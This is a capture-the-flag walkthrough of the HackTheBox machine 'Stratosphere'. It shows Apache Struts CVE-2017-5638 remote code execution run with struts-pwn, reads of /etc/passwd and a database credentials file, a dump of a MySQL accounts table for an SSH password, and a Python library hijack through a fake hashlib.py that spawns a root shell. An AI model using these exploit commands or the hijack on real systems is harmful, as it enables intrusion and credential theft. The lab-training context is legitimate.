Introduction
I don’t have much to say, stratosphere was a great box. Every step to completing this box was extremely logical, and you could pick up tons of neat small little tricks, coupled with a pretty unique priv. esc vector that I’ve never really seen before. Stratosphere overall was an extremely well built box. Hats off to linted for such a great creation.
Tools Used
Enumeration
Like with every HTB machine, lets begin with an nmap scan against Stratosphere (10.10.10.64)
root@dastinia:~/htb/stratosphere# nmap -sV -sC -Pn 10.10.10.64 -oA strat
Starting Nmap 7.70 ( https://nmap.org ) at 2018-08-30 19:35 EDT
Nmap scan report for 10.10.10.64
Host is up (0.18s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)
| 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)
|_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519)
80/tcp open http
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 1114
| Date: Thu, 30 Aug 2018 23:36:02 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 404
| Found</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body>
| GetRequest:
| HTTP/1.1 200
| Accept-Ranges: bytes
| ETag: W/"1708-1519762495000"
| Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT
| Content-Type: text/html
| Content-Length: 1708
| Date: Thu, 30 Aug 2018 23:36:01 GMT
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <meta charset="utf-8"/>
| <title>Stratosphere</title>
| <link rel="stylesheet" type="text/css" href="main.css">
| </head>
| <body>
| <div id="background"></div>
| <header id="main-header" class="hidden">
| <div class="container">
| <div class="content-wrap">
| <p><i class="fa fa-diamond"></i></p>
| <nav>
| class="btn" href="GettingStarted.html">Get started</a>
| </nav>
| </div>
| </div>
| </header>
| <section id="greeting">
| <div class="container">
| <div class="content-wrap">
| <h1>Stratosphere<br>We protect your credit.</h1>
| class="btn" href="GettingStarted.html">Get started now</a>
| <p><i class="ar
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
| Content-Length: 0
| Date: Thu, 30 Aug 2018 23:36:01 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Transfer-Encoding: chunked
| Date: Thu, 30 Aug 2018 23:36:01 GMT
| Connection: close
| X11Probe:
| HTTP/1.1 400
| Date: Thu, 30 Aug 2018 23:36:02 GMT
|_ Connection: close
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Stratosphere
8080/tcp open http-proxy
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404
| Content-Type: text/html;charset=utf-8
| Content-Language: en
| Content-Length: 1114
| Date: Thu, 30 Aug 2018 23:36:02 GMT
| Connection: close
| <!doctype html><html lang="en"><head><title>HTTP Status 404
| Found</title><style type="text/css">h1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} h2 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:16px;} h3 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:14px;} body {font-family:Tahoma,Arial,sans-serif;color:black;background-color:white;} b {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;} p {font-family:Tahoma,Arial,sans-serif;background:white;color:black;font-size:12px;} a {color:black;} a.name {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body>
| GetRequest:
| HTTP/1.1 200
| Accept-Ranges: bytes
| ETag: W/"1708-1519762495000"
| Last-Modified: Tue, 27 Feb 2018 20:14:55 GMT
| Content-Type: text/html
| Content-Length: 1708
| Date: Thu, 30 Aug 2018 23:36:01 GMT
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <meta charset="utf-8"/>
| <title>Stratosphere</title>
| <link rel="stylesheet" type="text/css" href="main.css">
| </head>
| <body>
| <div id="background"></div>
| <header id="main-header" class="hidden">
| <div class="container">
| <div class="content-wrap">
| <p><i class="fa fa-diamond"></i></p>
| <nav>
| class="btn" href="GettingStarted.html">Get started</a>
| </nav>
| </div>
| </div>
| </header>
| <section id="greeting">
| <div class="container">
| <div class="content-wrap">
| <h1>Stratosphere<br>We protect your credit.</h1>
| class="btn" href="GettingStarted.html">Get started now</a>
| <p><i class="ar
| HTTPOptions:
| HTTP/1.1 200
| Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS
| Content-Length: 0
| Date: Thu, 30 Aug 2018 23:36:01 GMT
| Connection: close
| RTSPRequest:
| HTTP/1.1 400
| Transfer-Encoding: chunked
| Date: Thu, 30 Aug 2018 23:36:01 GMT
|_ Connection: close
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Stratosphere
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at [https://nmap.org/cgi-bin/submit.cgi?new-service :
...[snip]...
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.22 seconds
From our enumeration we can observe that the following services are available on the host: SSH (22), HTTP Web service (80), and what appears to be another HTTP Web service (8080).
Enumerating Webservice - Port 80
Visiting the webservice on port 80 in a web browser brings us to the “Stratosphere” Web Application landing page. Most HTB boxes follow some sort of theme, or are a reference to some event. (Keeping in mind that the Equifax breach was still fresh)
Clicking on the “Getting Started” URL leads us to a “Site under construction” page as seen below.
Enumerating the site with gobuster reveals the following directories. It seems as though this application is running apache tomcat. Attempting to authenticate to the tomcat manager with usual default credentials fails.
root@dastinia:~/htb/stratosphere# gobuster -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.10.64/ -x php,html -s 200,204,301,302,307,403 -t 100 | tee gobuster_strato
Gobuster v1.4.1 OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.64/
[+] Threads : 100
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Status codes : 307,403,200,204,301,302
[+] Extensions : .php,.html
=====================================================
/index.html (Status: 200)
/manager (Status: 302)
/GettingStarted.html (Status: 200)
/Monitoring (Status: 302)
Visiting the /Monitorting
web content redirects us to to the “Stratosphere Credit Monitoring” Application.
The application has a unique web file extension of .action
which is associated with the Apache Struts url pattern. After some further research, we can learn that it is indeed a well-known extension for the Java WebSphere & Apache Struts applications.
At this particular point if you are familiar with popular infosec news/events, you would know that the U.S Credit Monitoring organization known as “Equifax” was compromised through an unpatched apache struts vulnerability. Based on the similarities, and context clues of the “Stratosphere Credit Monitoring” we can maybe assume that this application is vulnerable to the “Apache Struts” RCE vulnerability.
After some quick googling we come across the following PoC exploit for the Apache Struts, CVE-2017-5638 vulnerability called struts-pwn.
root@dastinia:~/htb/stratosphere# git clone https://github.com/mazen160/struts-pwn.git
Cloning into 'struts-pwn'...
remote: Counting objects: 37, done.
remote: Total 37 (delta 0), reused 0 (delta 0), pack-reused 37
Unpacking objects: 100% (37/37), done.
root@dastinia:~/htb/stratosphere# cd struts-pwn/
root@dastinia:~/htb/stratosphere/struts-pwn# pip install -r requirements.txt
Requirement already satisfied: argparse in /usr/lib/python2.7 (from -r requirements.txt (line 1))
Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages (from -r requirements.txt (line 2))
validating that the application is vulnerble with struts-pwn
root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -h
usage: struts-pwn.py [-h] [-u URL] [-l USEDLIST] [-c CMD] [--check]
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL Check a single URL.
-l USEDLIST, --list USEDLIST
Check a list of URLs.
-c CMD, --cmd CMD Command to execute. (Default: id)
--check Check if a target is vulnerable.
root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --check
[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] Status: Vulnerable!
[%] Done.
verifying that we have remote code execution
root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c "id; uname -a"
[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: id; uname -a
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 GNU/Linux
[%] Done.
Now that we know we have successful remote code execution, lets try to escalate our privileges further, and look into getting an interactive shell.
Exploitation
Exploiting Apache Struts RCE with Struts-Pwn
reading contents of /etc/passwd
root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c "cat /etc/passwd"
[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: cat /etc/passwd
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...[snip]...
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
lightdm:x:111:113:Light Display Manager:/var/lib/lightdm:/bin/false
pulse:x:112:114:PulseAudio daemon,,,:/var/run/pulse:/bin/false
avahi:x:113:117:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
saned:x:114:118::/var/lib/saned:/bin/false
richard:x:1000:1000:Richard F Smith,,,:/home/richard:/bin/bash
tomcat8:x:115:119::/var/lib/tomcat8:/bin/bash
mysql:x:116:120:MySQL Server,,,:/nonexistent:/bin/false
[%] Done.
Lets see what files are available to us in the current working directory of this struts application…
listing contents of current working directory
root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c "ls -la"
[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: ls -la
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely
total 24
drwxr-xr-x 5 root root 4096 Aug 30 19:46 .
drwxr-xr-x 42 root root 4096 Oct 3 2017 ..
lrwxrwxrwx 1 root root 12 Sep 3 2017 conf -> /etc/tomcat8
-rw-r--r-- 1 root root 68 Oct 2 2017 db_connect
drwxr-xr-x 2 tomcat8 tomcat8 4096 Sep 3 2017 lib
lrwxrwxrwx 1 root root 17 Sep 3 2017 logs -> ../../log/tomcat8
drwxr-xr-x 2 root root 4096 Aug 30 19:46 policy
drwxrwxr-x 4 tomcat8 tomcat8 4096 Feb 10 2018 webapps
lrwxrwxrwx 1 root root 19 Sep 3 2017 work -> ../../cache/tomcat8
[%] Done.
getting the contents of db_connect
root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action -c "cat db_connect"
[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: cat db_connect
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely
[ssn]
user=ssn_admin
pass=AWs64@on*&
[users]
user=admin
pass=admin
[%] Done.
It seems as though there is a database running on the server. We can enumerate the mysql database through the apache struts exploit. Using the mysql -e
parameter we can run mysql commands non-interactively, and receive the output of the queries through stdout.
root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin -e "show databases;"'
[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: mysql --user=admin --password=admin -e "show databases;"
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely
Database
information_schema
users
[%] Done.
enumerating the tables within the mysql ‘users’ database
root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin -e "use users; show tables;"'
[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: mysql --user=admin --password=admin -e "use users; show tables;"
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely
Tables_in_users
accounts
[%] Done.
receiving the contents of the accounts table
root@dastinia:~/htb/stratosphere/struts-pwn# python struts-pwn.py -u http://10.10.10.64/Monitoring/example/Welcome.action --cmd 'mysql --user=admin --password=admin -e "use users; select * from users.accounts;"'
[*] URL: http://10.10.10.64/Monitoring/example/Welcome.action
[*] CMD: mysql --user=admin --password=admin -e "use users; select * from users.accounts;"
[!] ChunkedEncodingError Error: Making another request to the url.
Refer to: https://github.com/mazen160/struts-pwn/issues/8 for help.
EXCEPTION::::--> ('Connection broken: IncompleteRead(0 bytes read)', IncompleteRead(0 bytes read))
Note: Server Connection Closed Prematurely
fullName password username
Richard F. Smith 9tc*rhKuG5TyXvUJOrE^5CK7k richard
[%] Done.
Attempting to ssh into the box using the richard
account, and the password of 9tc*rhKuG5TyXvUJOrE^5CK7k
from the mysql database results in
root@dastinia:~/htb/stratosphere/struts-pwn# ssh richard@10.10.10.64
The authenticity of host '10.10.10.64 (10.10.10.64)' can't be established.
ECDSA key fingerprint is SHA256:tQZo8j1TeVASPxWyDgqJf8PaDZJV/+LeeBZnjueAW/E.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '10.10.10.64' (ECDSA) to the list of known hosts.
richard@10.10.10.64's password:
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Aug 31 12:57:51 2018 from 10.10.14.108
richard@stratosphere:~$ id
uid=1000(richard) gid=1000(richard) groups=1000(richard),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev),112(lpadmin),116(scanner)
richard@stratosphere:~$ uname -a
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 GNU/Linux
richard@stratosphere:~$ cat user.txt
e610b...[snip]...
Privilege Escalation
Upon sshing into the box we see a script called test.py
(contents below) which seems to be some sort of a game where we need to find the plaintext for various hashes, at the end of the line we see a call to os.system('/root/sucess.py')
We also seem to be able to run the test.py
file as the root user, from the output of the sudo -l
command.
richard@stratosphere:~$ sudo -l
Matching Defaults entries for richard on stratosphere:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User richard may run the following commands on stratosphere:
(ALL) NOPASSWD: /usr/bin/python* /home/richard/test.py
contents of test.py file
richard@stratosphere:~$ cat test.py
#!/usr/bin/python3
import hashlib
def question():
q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
md5 = hashlib.md5()
md5.update(q1.encode())
if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
print("Sorry, that's not right")
return
print("You got it!")
q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n")
sha1 = hashlib.sha1()
sha1.update(q2.encode())
if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff':
print("Nope, that one didn't work...")
return
print("WOW, you're really good at this!")
q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")
md4 = hashlib.new('md4')
md4.update(q3.encode())
if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':
print("Yeah, I don't think that's right.")
return
print("OK, OK! I get it. You know how to crack hashes...")
q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n")
blake = hashlib.new('BLAKE2b512')
blake.update(q4.encode())
if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943':
print("You were so close! urg... sorry rules are rules.")
return
import os
os.system('/root/success.py')
return
question()
Running all the hashes through JTR we discover that the plaintext for the hashes are as follows:
Algo | Hash | Plaintext |
---|---|---|
MD5 | 5af003e100c80923ec04d65933d382cb | kaybboo! |
SHA1 | d24f6fb449855ff42344feff18ee2819033529ff | ninjaabisshinobi |
MD4 | 91ae5fc9ecbca9d346225063f23d2bd9 | legend72 |
BLAKE2b512 | hash redacted too long! | Fhero6610 |
Successfully solving the challenge results in a Permissioned denied
on the the sucess.py
script so it seems that this may have been a false flag, and we need to do further enumeration for the proper priv. esc vector.
solving test.py
richard@stratosphere:~$ /usr/bin/python3 /home/richard/test.py
Solve: 5af003e100c80923ec04d65933d382cb
kaybboo!
You got it!
Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff
ninjaabisshinobi
WOW, you're really good at this!
How about this? 91ae5fc9ecbca9d346225063f23d2bd9
legend72
OK, OK! I get it. You know how to crack hashes...
Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943
Fhero6610
sh: 1: /root/success.py: Permission denied
Root via Python Library Hijacking
After researching a bit about privilege escalations related to python, you will come across the following blog-post about how to escalate privileges through python library hijacking
If you are familiar with the concept of DLL Search Order Hijacking for the Windows Operating system it’s a similar concept.
In order to exploit this vulnerability, all we have to do is create a python module (that our target script is importing) in the directory of the script that we are attempting to run. Since the test.py
script imports the hashlib
library we will create a hashlib.py
python module, which will load our code over the original hashlib
python module.
contents of our hashlib.py python file
richard@stratosphere:~$ cat hashlib.py
import pty
pty.spawn("/bin/sh")